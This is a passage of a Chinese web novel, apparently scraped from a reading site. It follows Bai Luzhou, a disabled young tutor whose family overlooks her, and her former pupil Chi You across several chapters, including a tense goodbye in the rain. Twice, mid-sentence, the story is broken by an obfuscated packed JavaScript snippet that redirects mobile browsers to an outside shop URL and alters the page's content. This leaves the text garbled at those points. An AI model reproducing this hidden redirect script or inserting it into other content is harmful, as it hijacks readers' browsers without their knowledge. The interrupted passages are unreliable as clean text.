池柚身上那种天真又残忍的感觉,像是一篇笔法稚嫩的□□。 可□□也是童话,不是么? …… 童话,是白鹭洲从小到大都不曾奢望过的东西。 窗外忽然一阵狂风声。 白鹭洲不禁侧目。 只见窗外,突兀的“哗啦”巨响,闷藏了大半日的暴雨骤然落下。 17.第 17 章·回忆 白鹭洲给小池柚上完家教课,不顾池秋婉的挽留,也不顾外面的暴雨,坚持告辞了。 今天是奶奶的生日,她一定要在晚饭前赶去白柳斋为奶奶庆生的。 进胡同口前,白鹭洲像往常一样去老点心铺,带一包奶奶最喜欢的枣泥糕。 正在为另一为顾客包点心的老板抬起头,看见她,熟络地打了声招呼: “小瘸子,来啦?” 白鹭洲打小在老胡同长大,这里的长辈与小孩都早已习惯了这样叫她。就像大家叫一个丰润的人“胖子”,叫一个口喉残疾的人“哑巴”,对于他们来说这只是一个根据对方身体特征起的称呼,甚至大多时候不仅没有恶意,还是带着一点亲昵的。 他们不会考虑这种称呼对那个人来说还附带着什么。 那不愿启齿的刺痛感,或许只有瘸子、胖子、哑巴自己才能明白。 白鹭洲熟稔地隐去心头涌现的一丝难堪,礼貌地答应,拿了枣泥糕。 走到白柳斋门口。 大门没关,还没进门就听见奶奶的声音。 奶奶正提高了嗓音,春风满溢地同人说笑:“还是阿丹记挂我们老两口啊!” 她对面的大姐白鹤丹双眸弯弯,娴静乖巧的模样:“只是去出差顺便带的啦,奶奶要是喜欢,我叫那边的同事再寄一点来。” 白鹭洲走进去,看到爷爷奶奶和大姐共坐在廊下小茶桌周围,三个人正一边赏雨,一边品尝茉莉花饼。 白鹭洲收起湿淋淋的伞靠在墙壁边,垂头问候:“爷爷,奶奶。” “洲洲来啦。”奶奶笑着朝她招招手,让她过去坐,又马上面朝向大姐,“阿丹,再给我讲讲苏江那边的戏曲单位的事。” “我们这次去了他们的剧院,见到了许多领导呢,在后台还深入交流了一些……”大姐将出差的事徐徐讲述着。 白鹭洲沉默地坐在一边,将手中的枣泥糕放在石桌边缘。 爷爷和奶奶都专注地盯着大姐,似乎没人注意到白鹭洲带来的糕点。 “你刚刚说,下个月苏江剧团要来云州看你们的表演,”奶奶抓住大姐的手,“你们剧团让你上吗?” 大姐道:“我会上,唱《梁祝》的楼台会。” 奶奶:“正好,正好,我有一件很合适的戏服,你拿去穿着表演。” 大姐:“是您一直最喜欢的,绣着大红角堇花的那件么?” 大红角堇花…… 白鹭洲喝茶的动作一顿,抬起眼,看着奶奶。 奶奶连连称是,拉起大姐就往收藏间去,不停地说着叫她试试。 望着奶奶和大姐离去的背影,白鹭洲刚要悻悻地放下茶杯,却听爷爷唤她一声: “洲洲。” 她动作又停滞住,心口不住地揪紧了几分,小心翼翼地望向爷爷。 难道……会让她也跟过去看看吗? 爷爷却是道:“给你二姐打个电话,催她赶快过来,锅上的饭快熟了。” “……嗯,好。” 白鹭洲低下头,眨了几下眼,便熟练地藏起了所有的失落。 她一边用手机给二姐发消息,一边忍不住开口,极轻地同爷爷说: “我也……好少见到那件大红角堇花的戏服。” 爷爷缓缓咽下口中的热茶,将白瓷茶碗放到桌上。 “我怎不明白你的心思。” 他的声音很沉,带着叹息。 “可是洲洲,你奶奶她不会考虑选择你作为传承人的。你也很清楚,瘸子走不了台步,登不了戏台。” 白鹭洲的睫毛抖了抖。 “我知道你是个好孩子,你一个人在背后偷偷地苦练了很多年,我也知道,其实单就戏腔功力来说,你唱得比你大姐还要好。” 爷爷遗憾地摇了摇头。 “可惜了,你的腿……老天不开眼。” 白鹭洲强颜欢笑:“没关系,我现在做老师这一行也不错。” 爷爷笑眯眯地点头,关心道:“你实习应该刚结束吧?洲洲这么优秀,一定会拿到实习学生里最好的成绩,爷爷等着你的好消息。” 白鹭洲温顺地笑了笑,不作答,偏过头看向别处。 过了一会儿,二姐回了消息,说她要陪着爸爸在应酬,今晚有大单子要谈,恐怕来不及赶过来了。二姐发了一个地址,拜托白鹭洲过去一趟,取她和爸爸为奶奶准备的生日礼物。 二姐在爸爸那边忙生意是常事,白家其他人一直都很体谅她。 白鹭洲和爷爷知会过后,便起身去往那个地方。 打车到那个高级会所时,已是一个小时后。 找到包厢,里面的人正站起来举杯。 桌上是才上的新菜,冒着诱人的腾腾热气,每一道都显得精致而昂贵。 父亲和桌上的其他人一样,穿着得体的正装,觥筹交错间满脸的笑。 只是没见二姐。 “洲洲!” 父亲放下酒杯,带着笑走过来,顺手拎起桌边的一个金饰包装袋。 “你来得还挺快,来,这是带着你奶奶的礼物。” 白鹭洲接过去,问:“二姐呢?” 父亲:“我让她去公司拿些东西。你见过爷爷奶奶了吗?” 白鹭洲:“见过了,今天大姐回来,爷爷奶奶都很高兴。” 父亲:“那就好,那就好。” 一个老板道:“白总,这是你的哪个女儿?” 父亲便向桌上的人介绍:“是我家老三。” 旁人:“哦哦,就是念省师范的那个?” 提及学校,父亲瞬时笑了起来:“对,就是我家念书最用功最优秀的那个!从小到大都是年纪头几名,我们家里唯一的重点大学高材生呢,特别给我长脸!不像老二那个半路辍学的混子,一天天尽让你们见笑。” 众人纷纷恭维起来。 白鹭洲轻轻地笑了,感受到父亲放在自己肩头的手,脊背也不自觉放松下来。 有人说:“小姑娘还没吃饭吧?坐吧坐吧,一起吃点。” 另一人扫了眼余座,犹豫道:“好像……座位不太够么?” “呀……还真是,就剩一个座了。你看这搞的,白总的二姑娘又马上要来了……” 这包厢特殊,椅子都是依照环境做的固定数量,不像平常饭店可以随意加减椅子。 桌上的人一时尴尬起来,以询问的目光投向白老板。 父亲几乎是没有经过任何思考,便道:“洲洲,那你回去吧。” 中年男人宽厚的手掌中,白鹭洲身体一僵。 “你二姐必须得跟着我,没办法。再说你本来不就是过来拿东西的吗?饭桌上聊的生意你也听不懂,留在这儿也没什么用,不如回白柳斋陪爷爷奶奶吃饭。” “……好。” 白鹭洲扯出一个笑。 父亲似乎也意识到了刚刚那些话有一些太过决断,又安抚道:“我知道你这段时间实习辛苦了,等你好消息出来,我单开一桌酒为你庆祝。” “我都明白,谢谢爸。”白鹭洲懂事地点头,然后礼貌地和桌上的人道别。 走出包厢,在关合包厢门时,白鹭洲隐约听到里面传来的对话。 旁人:“啧啧,白总真疼你的二姑娘,不论什么好事儿总是第一个想着她,教做生意是这样,介绍人脉是这样,连吃个晚饭都是。” 父亲:“没辙啊,老大是铁定要被我妈拉去唱戏了,我可不就只能指望老二么?” 旁人:“瞧你这话说的,刚刚那个不是你的女儿啊?” 父亲一愣:“呃?老三……” 另一人:“你刚刚没看见情况吗?还哪壶不开提哪壶,戳白总的伤心事!” 旁人:“唉,说来也是无奈,要不是那三姑娘腿上带了点儿残疾,很多事总是不太方便,白总起码还能在二姑娘和三姑娘里面挑一挑呢。真是可惜了,那么聪明用功的孩子……” 父亲干笑两声:“算了,不说了。” 白鹭洲充耳不闻,面无波澜地关好了门,转身离开。 她没有坐电梯。 她拄着手杖慢慢地由步梯走到楼下,三层楼,不高。一步一步,有条不紊。 来到大门前,不知道是不是徒步走下三楼的缘故,夜风迎面吹散头发时,心脏有些失序地乱跳起来。 外面的暴雨还未平息。 雨丝落在水洼中,恍如只振一秒的翅的水花蝶。水滴弹落,新雨灌下,蝴蝶便被暴烈地浇灭。 白鹭洲盯着大雨,告诉自己: 是下楼的运动量扰了心神。 是雨砸乱了心跳。 如果夜风能小一点,她肯定不会觉得胸口有个地方在发冷。 冷到后来,就变成了胃里空涩的灼痛。 雨天的出租车很难打。待她饥肠辘辘地打到车,回到白柳斋时,已是晚上的八点多。 一进门,不见饭香炊烟,却看见爷爷奶奶和大姐坐在左廊的棋桌边,正闲聊手谈。 大姐抬起眼,向她温柔问候:“回来啦。” 爷爷专注地盯着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13049610|137123||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 棋局。 奶奶对她笑了笑:“洲洲,你应该已经在你爸那儿吃过了吧,我们没等你吃饭,不要紧吧?” 你应该已经吃过了吧。 我们没等你吃饭。 不要紧吧? 这句听起来甚至带着点关怀的话,像是终于在这一整天的结尾处,添上了压倒骆驼的最后那一根稻草。 突如其来的累。 支撑了一天的精与神,忽然就如山崩溃裂般散垮掉了。 白鹭洲没有答一句话,把礼物放在了迎客堂,就回了自己的屋子。 她关紧了门,落锁。 走回床边,放好手杖,然后泻了全部力气,疲惫地扶着床沿坐下。 …… 她都明白的。 世界本就是这样的,大多时候,它不会对你极坏,也不会对你极好。不淹没过生死的起伏都该是一种常态。 可是一些无法忽视的刺就横在那里。不致死,却藏在关节里经年累月地长久刺痛着神经。那些刺让你无法淋漓尽致地去爱你的家人,也永远无法淋漓尽致地去恨他们。 因为你知道的,他们不是完全不爱你,他们已经在尽量去分心顾及你的感受了,只是他们有更好的选择。你能怨他们吗?一个人同时养两只猫都会有更偏心喜爱的那一只,你自己也在教导你的学生,这世上大多的喜恶本就没有原因,为什么还要这么在意? 奶奶选择大姐没有错,爸爸选择二姐也没有错。还有她的导师,在两天前选择把奖学金名额给了另一个更优秀的学生,更不是错。 她选择把实习表甩到池柚的班主任面前时,就已经预料到了这个实习结果。 同样,在她幼时识理后第一次意识到自己的腿脚残疾时,她也早该做好一切不被优先选择的预期。 都没有错。 只是她如今才18岁,或许还是太年轻,尚不能成熟地坦然接受这世界的真实。 白鹭洲,你一定要快一点学会隐藏情绪。 一定要学会抹平不必要的需求与欲望。 要忽视。 要压抑。 一定要在你的理智被摧毁前,学会与世界上所有不曾照拂过你的“偏心”和解。 她孤独地坐在床边。 就这样,安静地坐了很久很久。一点声音都不发出。 ……但还是好无力。 道理她都懂。 可道理从来都只是道理,与当下穿刺入大脑的情绪是彻彻底底的两回事。 手机响起的视频铃声打破了沉默。 白鹭洲拿起手机,见是池秋婉的来电。 她向来不会让情绪影响到学习或者工作上的事,于是迅速调整了心情,深呼吸两轮,定了定心,接通了视频。 “老师。” 手机屏幕里,是小池柚的手,小小的手下面压着一叠写得密密麻麻的卷子。 “我写完了今天的作业,给您检查。” “……好。” 白鹭洲清了清喉咙,低沉地应道。 池柚那边明显顿了顿。 她似乎立即从白鹭洲微微沙哑的声音里听出了什么。 “您……” 她犹豫着开口。 “……在不开心吗?” 白鹭洲静静地盯着手机屏幕,苍白的嘴唇抿紧了,不说话。 “老师。” 池柚轻轻唤了下她,镜头不稳定地晃了晃,小孩青雉的嗓音携着不顺畅的语气,手指也无措地抠着。 仿佛这一刻,白鹭洲极力压制的这一点情绪,就是池柚那小得可怜的世界里,所有最关心的事了。 “我、我给您叠好多纸花,都涂成您喜欢的红色,好不好?” 闻言,白鹭洲忍不住很轻地笑了一下。 不是虚与委蛇,不是强颜欢笑。是今天唯一的一次,依顺真实内心,自然散发的笑意。 “你是在哄我吗?” 她知道小孩子的话不必过心,也做不得什么真。 只是这一秒,也不知怎的,掌心里的手机像是忽然拥有了人类的体温。 “没有……我不敢……”小池柚以为自己说错了话,语气躲闪着模糊嗫嚅。 白鹭洲打断了她:“饿不饿?” 池柚:“嗯?” 白鹭洲:“我好饿,今天都一直没有吃饭。” 池柚:“啊?” 没有开灯的房间,白鹭洲在黑暗中裹紧了外套,疲倦地,低低地说: “我去接你,一起吃火锅吧?” 18.第 18 章 火锅店靠窗的位置,服务员稳稳端来一盆四格锅底,放到下沉电炉上。 店里辉煌明亮,窗外夜色阴暗。玻璃窗上的雨衬着五光十色的城市灯光,色块被模糊晕染开,仿佛是嵌在圣彼得堡冬宫的莫奈长廊上。 池柚想了半天也没想明白,怎么就和老师坐在一起吃火锅了呢? 明明刚刚老师都已经准备走了…… 妈妈也是,一看老师回头,马上就邀请对方一起吃晚饭。请就请吧,请完了还找借口说什么有紧急工作直接走掉了,尴尴尬尬地剩下她和老师两个人。 沉默半晌,池柚忍不住开口:“老师,家里没有做好饭等您回去吗?” 白鹭洲抿了口冒着热气的荞麦茶,面色淡然,“你是在撵我走?” 池柚抠着手指头,踌躇许久,说:“我没想到今天会在路上遇到您,我也没想强留您吃饭。如果您是因为妈妈的原因不好意思拒绝才……” 白鹭洲:“没关系,反正很久没吃火锅了,上一次和你坐在一起吃火锅还是十三年前。” 池柚越来越坐立不安,索性直接站起来,看也不敢看白鹭洲一眼,“要不我还是先走了,您慢慢吃。” “池柚。”白鹭洲叫住她。 池柚才背过身要走,被白鹭洲唤停,僵硬地站在原地。 “你要结束一件事的时候都是这样吗?没有预兆,连正式的告别也没有。整整一个月,忽然人就不见了,我还以为你出了什么事。” 白鹭洲的声音有些冷了。 池柚回过头,眼眶微红,“可是……老师,不是您让我再也不要回去找您么?” 白鹭洲:“那你也应该和我说一声,我拒绝你那么多次,怎么知道你在哪一次当真?” “对不起。”池柚小声道。 “……所以,这次是真的准备放弃追求我了?” 白鹭洲抬起眼,看向池柚。 “对。” 池柚深吸一口气,逼迫自己对上白鹭洲的目光。 “只要这是老师想要的。” 白鹭洲神色一顿。 她扭过头,坐正了,又端起玻璃杯浅抿一口茶,片刻的沉寂。 “很好。”她轻声说,“你能听劝,我很高兴。” 白鹭洲再次喝了两口茶。 “不过,”她叩紧五指,开始摩挲茶杯,“至少……吃完这顿火锅吧,锅都上来了,何必浪费。” 池柚不想留下,她现在真的很怕和白鹭洲待在一起。 刚刚在路边只是看一眼,她都已经心乱得不行,更别说像现在这样面对着面坐在一起吃饭。她害怕……她不想自己动摇,因为来回反复的人很讨厌,老师应该也会觉得很烦。 白鹭洲看着池柚一言不发地僵着,连看也不敢看自己,便明白了一些事。 心还暂且放不下,可是,池柚的理智已经决定要离开了。 ……这样很好。 是啊,没什么不好的。 她们两个人之间,现在只差一个正式的告别。 “我们以后可能再也不会见面了,这或许是我们吃的最后一顿饭。坐下吧,我有一些还没和你说完的话。” 白鹭洲的语调变得和缓,突然不再是冷冰冰拒绝池柚示爱的那个人,而是变回了十三年前,那个习惯了对小池柚温和包容的年长的老师。 白鹭洲的转变却让池柚心底的恐惧更深了,尤其是白鹭洲的那句“我们以后可能再也不会见面”,一下子触到了池柚脑海最深处的某个痛处。 不要说再见。 不能说出来,不可以。 池柚慌乱地拔腿就走,一句话都没有再讲。 她离去的背影身形不稳,有些摇晃,脚步却急切万分。 白鹭洲几乎是下意识地站起来。 “你……” 池柚落下了她的伞。 她走就走吧,走是最好的,走得越快,就说明她真的已经想开了。这时候最好不要追上去,否则,会更加扰乱对方的情绪。 白鹭洲心里非常清楚这些道理。可是她同时也发现了自己心里生出了几乎要漫过这些道理的另一种冲动: 追上去吧。 起码把伞还给她。 雨这么大,会淋得人生病的。 白鹭洲犹豫了片刻,还是马上招来了服务员,快速结账后赶了出去。 她撑着伞在雨中跑着找了好阵子,也顾不得钉着钛板的脚越来越痛,不断往前找。雨斜飞到了她脸上,发尾都湿了,终于才在车水马龙间的雨雾中隐隐看见池柚的背影。 白鹭洲快步追了上去,从后面一把拉住了池柚的胳膊,手指在她的衣袖上握出了褶皱,“等一等……” 池柚却反应激烈地挣扎起来。转身时,白鹭洲看到她脸上雨水混着泪痕,再没有平时温顺乖巧的模样。 这是重逢后,她第一次见到成年的池柚如此失态的样子。 “我已经说了,不会再来打扰你了!” 可是池柚就算发脾气也柔弱得像个窝囊的兔子,一点儿强硬也学不会,语气想重都重不起来,只听到浓浓哭腔。 她一双红红的眼睛强撑着抬起,又乞求般望向白鹭洲。 “老师,求您了,我保证我真的不会再来烦您了,不要逼我说‘再见’,好不好?我就只有这一个请求,我、我再也不肖想什么了,不打扰您了,再也不打扰您了……” 硬不过两句,她的姿态就这样轻易地矮了下来。 白鹭洲心神一荡。她恍然间想起,好像许多年前,每次到真正要长久分别的时候,池柚就变得异常沉默,从不曾和她说过任何一句正式道别的话。 …… 是有多舍不得,才会这样幼稚地欺骗自己,仿佛只要不说出那两个字,她们就永远不会彻底分别一般? 她看着瘦小的池柚在她面前这样哭着恳求,不禁想起了多年前那个还没长大的小池柚。 蓦地意识到,十三年过去了,池柚的轮廓似乎并没有成熟太多。 还是那么天真,又脆弱,拥有自己的偏执,永远相信着自己愿意相信的幻想。 是她一直以来太刻薄了吗? 可是不这样,又要怎样,才能让池柚明白师生这条路真的不能走下去? 白鹭洲张了张嘴,理智告诉她应该趁这个机会说出决断的话,彻底断了池柚的念想,然而她说不出口。 不知道为什么,或许是不忍心,或许…… 不明白,不懂。 有些东西,她又看不清了。 “别哭了。”白鹭洲生硬地安慰。 池柚还是哭,停不下来。 两个人无言地面对面站着,谁也不知道下一步要怎么做。 人流横向路过她们,大雨垂直路过她们,她们共撑的一把伞仿佛不动的原点,又仿佛随时要走散的十字路口。 白鹭洲第一次觉得在某些问题上,她和池柚一样是个什么都不懂的初学者。就像两个小学生坐在了大学高数的课堂上,面对讲师的提问,她和她一样,大脑里都只有空白。 不知道过了多久。 最后,白鹭洲将伞轻轻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13062525|137123||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地放进池柚的手中,下意识想说一声“再见”。可话到嘴边,嗫嚅片刻,却还是换成了另一句:“我走了。” 转身离开时,她听见池柚很小声地抽泣着重复说:“谢谢……谢谢……” 说了好多好多声。 只是这样,只是没有说出“再见”那两个字,池柚便感恩戴德至此吗? 白鹭洲轻轻喘出一口憋闷在心底很久的气,心头却还是沉甸甸的,压抑万分。 她竟然开始有些分不清,自己一直做的,究竟是好事还是坏事了。 . 白鹭洲拎着早已凉透的面包,很晚才回到白柳斋。 拜托她去便利店买面包的宋七月已经离开,奶奶应该是去送她了。打开大门,只看见爷爷一个人坐在廊下的茶桌边,就着秋日雨景泡茶。 恍惚中,白鹭洲仿佛看到了大姐白鹤丹坐在爷爷的对面,正浅笑着拿起茶杯。 她正想像以前一样被忽视地沉默走回自己房间时,却听到爷爷叫她:“洲洲!过来啊。” ……她今天真的恍惚了很多次。 白鹭洲走到桌边坐下,手里杂七杂八的东西随意地放到一边。 爷爷问她:“你这是怎么了?魂不守舍的。” 白鹭洲低声答:“没什么。” 爷爷:“遇到什么事情了,可以和爷爷聊一聊。” 白鹭洲:“……” 李恩生早就察觉到了白鹭洲的异常。因为白鹭洲不是从今天才开始不对劲的,确切地说,大概是从上次她的那个女学生来过又消失之后,她就不对劲了。 他发现白鹭洲出神的次数变多了,每次回来,目光也不像往常那样闲适淡然,而是要先观察一圈白柳斋内的情况,似乎是在等什么人出现。 上次去师大闲逛,他还听见走在路上的学生小声议论,说白教授最近放PPT的次数多了起来,变得有些沉闷,不是很爱说话了。 李恩生见白鹭洲一直沉默,叹了口气,道:“你大姐跟着你奶奶学唱戏,你二姐跟着你爸爸学做生意,你呢,走了教书育人这条路,也只有我这个老教书匠能指引指引你。有什么想不通的事,或许爷爷真的可以帮到你呢?” 白鹭洲淡淡地笑,“爷爷才意识到这个吗?” 李恩生一愣,“……什么?” 白鹭洲:“以前大姐还在的时候,您从来没有和我说过这样的话。” 李恩生:“……” 白鹭洲:“她死了,你们才看得到我。” 李恩生一时哑口无言。 白鹭洲闷闷地深呼吸,声音沙哑了几分:“对不起,爷爷,我不应该这样和您讲话。” 她无意于指责什么,到这个年纪了,还有什么不甘的。 只是今天她总是失控,好像所有一切都在从她的理智上脱轨。 李恩生沉默半晌,肩膀缓缓沉下去,一下子苍老了几岁似的。 “我知道你懂事,以前有再多不开心也是一个人悄悄咽下去。以前我们……罢了,过去的事过去了,不说了……不说了。” 老爷子低垂眉眼,叹息般又问。 “你现在究竟是发生了什么,真的不方便和爷爷讲么?” 廊外大雨倾盆,石榴树上所剩无几的枯叶被打落几片在地。 灰沉乌云映着枯树,满空凄清。 “我以前曾听到您和朋友聊起,作为老师,绝对不可以和学生在一起的原因。” 白鹭洲极轻地喃喃。 “再和我仔细说一遍吧。我怕再没几天,自己就记不清了。” 30-40 第031章 池柚不知道自己什么时候睡过去的, 也不知道睡了多久。睡眠很深,梦都没做。恍惚间,模模糊糊被一些咋呼的交谈声吵醒。 “这也太好吃了, 肯定不是速冻的!”程枣枣嘴里塞满东西嚼嚼嚼。 林慕橙:“废话,还有温度呢, 明显是新鲜的嘛。” 程枣枣:“那我怎么没在其他人的桌子上看见这个呢?现包的?” 林慕橙:“可能是小柚子做的吧, 小柚子厨艺不错的。还记得上次她带给咱们那个小饼干吗?她烤得好酥好香, 我现在想想都……” 池柚睁开眼,看见林慕橙和程枣枣正举着一盘饺子叽叽喳喳讨论。黎青坐在一边,安静地咀嚼着煎饺, 似乎在细细品味。 “你们玩完啦?”池柚开口,嗓音有点沙哑。 “小柚子醒了,”程枣枣坏笑一下,“给我们打招呼没有?快挨个叫姐姐。” 池柚便乖乖地喊了一圈:“林姐姐, 枣枣姐姐, 黎师姐。” 程枣枣心满意足了。 “诶呀啧啧啧,舒服,舒服,果然还得是甜妹拯救世界啊。” 黎青笑了笑, 问池柚:“你就坐在这儿晒了两个小时?” 池柚揉揉眼睛:“睡着了, 忘了挪位置。” 黎青:“怎么能困成这样?你……”她顿了顿,看了眼其他舍友, 凑近了变小声, “你晚上在白教授那儿睡不好?” 池柚张了张嘴。 她很快反应过来,笑了一下。 “没, 没,睡得很好。” 黎青耐人寻味地笑了一下。 “你个小变态, 不会是趴在人家床头,盯了人家一晚上吧?” 池柚又揉了揉眼睛。 唉。 但凡现在能有个像样的床给她,别说旁边躺的是白鹭洲,就算旁边躺个光芒四射抱着大金元宝的财神爷,她也得闭上眼睛睡觉了。 当然,在池柚心里,财神爷并没有白鹭洲重要。 只不过采用这个句式,应该比较能表达出她现在极度渴望睡眠的心情吧。 真的真的—— 太困了。 哦对了。 “这饺子是白老师做的,她说了,让我们大家一起吃。” 池柚澄清这饺子的来源。 程枣枣和林慕橙给嘴里塞饺子的动作顿住。 啊? 这、这、这特么。 ……啊? 那个冰坨子一样高冷的白教授,跑过来,做饺子,给她们吃? “她手艺不错啊。”黎青仍是一身泰山崩于前而岿然不动的从容,啧啧叹气,“你俩以后要是在一起了可真浪费,厨艺都这么好,应该匀一个出来给那些炸厨房的。” 程枣枣:“……我怀疑你在内涵我。” 黎青:“不不。” 程枣枣:? 黎青:“我是在内涵在座所有人。” 和舍友们一起笑闹聊天了一阵子。 吃过烤肉,水足饭饱,黎青把拳头放在鼻子前面“嗯咳咳”了一声。 程枣枣和林慕橙立马了解,她们得要开始准备明天给池柚的生日惊喜了。 既然是惊喜,主人公当然不能在场。 程枣枣随便找了个烂理由支开池柚。好在池柚在看人眼色这方面能力基本为负,加上太累了,什么都没怀疑就走了。 今天没有别的旅行安排,大半天都是自由活动。又不用再陪朋友,这么好的机会,池柚当然是要找个地方补个觉。 舍友们的房间不能去,如果去要房卡,她们就会知道这两天她都睡在外面。 没睡过外面之前让她们知道倒无所谓,睡都已经睡过了,再叫她们知道,勾起她们的愧疚,没这个必要。 白天的时候,娱乐房都开着,游戏机室,KTV房,桌游室,还有很多别的。 池柚打算去找个没人的KTV房间睡。 然而这会儿正是白天玩乐高峰期,别说KTV房,别墅里压根就没有没人的角落。KTV房里是鬼哭狼嚎的歌声,桌游室里弥漫着浓浓的香烟味,游戏机室里国骂声此起彼伏。连她昨晚睡的长凳上都坐着偷偷亲热的小情侣。 转了一大圈,最后池柚还是逛回了KTV房,想再看看里面有没有人。 她半小时前来还是三男两女,这回打开,里面又是另外两个新来的女人。 池柚说了声“对不起”,就要关门离开。 “等等!”里面的人叫住了她。 昏暗的室内,其中一个女人快速走过来,脸在门外透进来的光中慢慢清晰。 “是你啊,[倒吊人]小姐。” 是那晚在游轮上,池柚帮助过的会弹钢琴的[星辰]女人。 “进来一起玩吧。” 另一个女人也起身走了过来。 [星辰]女人邀请完,看池柚在犹豫,为表诚意,直接郑重地介绍了自己的真名:“我叫夏星眠,那晚给你的名片上有我的名字,不过你当时没接。” 她身边那位美丽的[隐者]女人也开口:“你好,我叫陶野。” 在那一层神奇又中二的塔罗卡牌身份背景下, “介绍本名”这种在平常普通的不能再普通的事,却在这套规则里透出了真诚与交心的意味。 对方却不勉强池柚,体贴地说:“不方便的话,你可以不告诉我们你的真名。” “……嗯。”池柚沉默片刻,点头。 陶野看了一眼夏星眠,含着一点笑,对池柚说:“真的谢谢你,你真的帮了我们大忙。那晚太匆忙,没能好好感谢你。” 夏星眠附和:“对。你什么也不肯要,我还没来得及给你别的谢礼你就走了。我回去以后越想越觉得亏欠你。” 陶野:“你要是不愿意接受钱,看看岛上有什么喜欢的吃的、玩的,小东西,小纪念品,我们都可以买给你。” 池柚觉得她们好奇怪。 为什么一定要她收下什么谢礼呢?她真的不想要,也真的觉得“物归原主”是一件小事。她依照脑子里的关键词触发系统做过的更大的事多了去了。 人们的社交好繁琐,这么小的一个忙,却要来来回回地推拉客气。 但池柚知道对方只是好意,她觉得人家奇怪不是因为人家有问题,有问题的是她自己。 她每次都自省得非常及时。 她时刻都记得,她才是这个世界的异类。 “我不用你们送我什么东西。” 池柚眨眨眼。 “就是如果可以的话,能不能让我在旁边沙发上睡会儿觉?” 夏星眠有点疑惑,想张口问为什么。陶野却拉住了她,只对池柚点点头,“好,你在这里睡,我们在旁边帮你守着。” 夏星眠握起麦克风补充:“你要是睡不着,我给你唱个摇篮曲也行。” 她想感谢这位小恩公的心都要爆出来了。 池柚表示不用考虑她,她们想干嘛就干嘛,想唱歌随便唱,她不怕打扰。 她对她自己现在的缺觉程度很有自信,耳边打雷估计都吵不醒她。 池柚躺下去,只占据了沙发很小的一角。 蜷起来,猫儿一样小小的一团。 她很快睡着了。 池柚睡着以后,陶野和夏星眠没有唱歌,也没有发出别的动静,只是依偎在一起边刷手机边轻声聊会儿天。 “本来说一会儿要去岛上的网红餐厅的,看来得取消一下订座。” “取消吧,就待在这儿。” “她睡得好香。也不知道发生什么了,有房不能回么……” “别好奇那么多了,让她安心睡,我们就待到她睡好睡够。” “好。”. 到底不是在安全的房间里,池柚睡得依旧不安稳。 她猛地惊醒,睁大眼睛呆呆地看着天花板,反应了好久。 几点了? 睡了多久? 池柚撑起依旧疲惫的身子,看了眼手机时间,发现已经晚上十点了。过去了起码五六个小时。 她抬起眼,看见了那两个女人还在旁边,真的一直没有离开。 但她们显然也很困了。 夏星眠已经倒在陶野的肩上睡着了。陶野也半垂着头,眼眸轻阖,睫毛不时抖一抖,不敢睡也不敢动,怕惊扰肩上的人。一半意识已经进入了梦乡。 池柚抿了抿嘴唇。 她忽然意识到,这两个人可能是放弃了自己原本的计划,只是因为答应了要守着她,所以在这里安安静静地像石头一样坐了这么久。 …… 虽然这里的沙发比外面的长凳舒服多了,但她还是去外面睡长凳吧。 她还是觉得这两个人很奇怪。这么客气,这么热忱,又这么傻傻地守一个不必要的承诺。 可是她不想“奇怪的人”困了还不能回房睡觉。 她不想“奇怪的人”为了她,继续在这里强撑着坐到深夜。 池柚默默地爬起来,悄无声息地离开了这间KTV房。 等她们其中一个人醒了,没看到她,应该就会回去睡觉了吧。 她这么想着。 池柚去到后花园,找到了昨晚睡的长凳,掖好身上薄薄的防晒衣。尽管它已经不能在夜晚抵御寒冷,但可以防住一些雨露。 她在长凳上轻轻躺下来,感觉还是很困很困。困到她都忘记了,今夜的零点一过,就是她的22岁生日。 她本来什么都没想,但忽然一瞬间,睡意朦胧时,她想起了白鹭洲的脸。 夜间的天空,倏地下了一点小雨。 细细的,也不密,没有什么下大的趋势,更像是稍微重一点的雾在空中浮不住了,慢悠悠飘落下来。 在外面睡了这好几晚,池柚从未觉得委屈过。可是今夜的第一滴雨丝落到她侧脸时,她忽然鼻尖酸了一酸。 带着这点酸楚,她做了一个好长好长的梦。 梦里是只有她一个人知道的,有关她与白鹭洲的完整回忆。 第032章 ·回忆 ·回忆 池柚9岁那年的暑假, 结束得比往常每一年都要快。 她明明觉得白老师根本就没有来几次啊,怎么就要结课了?雨还没有下过几场,夏天怎么就过完了? 她跑去问老师还能不能留下来继续教她。 白鹭洲摸了摸她的头顶, 说自己两个月前就该离开了,这两个月本就是意料之外的延长。 就像到了保质期的牛奶, 非要放* 进冰箱里再撑一撑, 再续一续。可是在冰箱里也是有期限的。 最后一次上课, 白鹭洲带来了礼物给池柚。 等课上完,白鹭洲才从袋子里取出。是一盒散装的积木砖块。 “开发脑力的。”白鹭洲递给池柚,“你这个年纪的普通小孩只能玩有图纸的半成品, 不过那对你来说太简单。所以这是一盒散装积木块,你想拼什么就自己来。” 池柚抱着积木,很为难,“我……想不出来要拼什么。” “拼你感兴趣的, 喜欢的, 什么都行。”白鹭洲说,“积木也是造物的好媒介,它不像画画或者雕塑需要很高的门槛。只要砖块够多,你可以拼出你想要的任何东西。” “我想要的?”小池柚不解, “我想要的我直接要真的不可以么, 为什么还要拼假的?” 白鹭洲耐心道:“有些东西很贵,或者很虚幻, 你这辈子也拿不到真的。” 池柚提取到了“这辈子拿不到”的字眼, 想了一会儿。 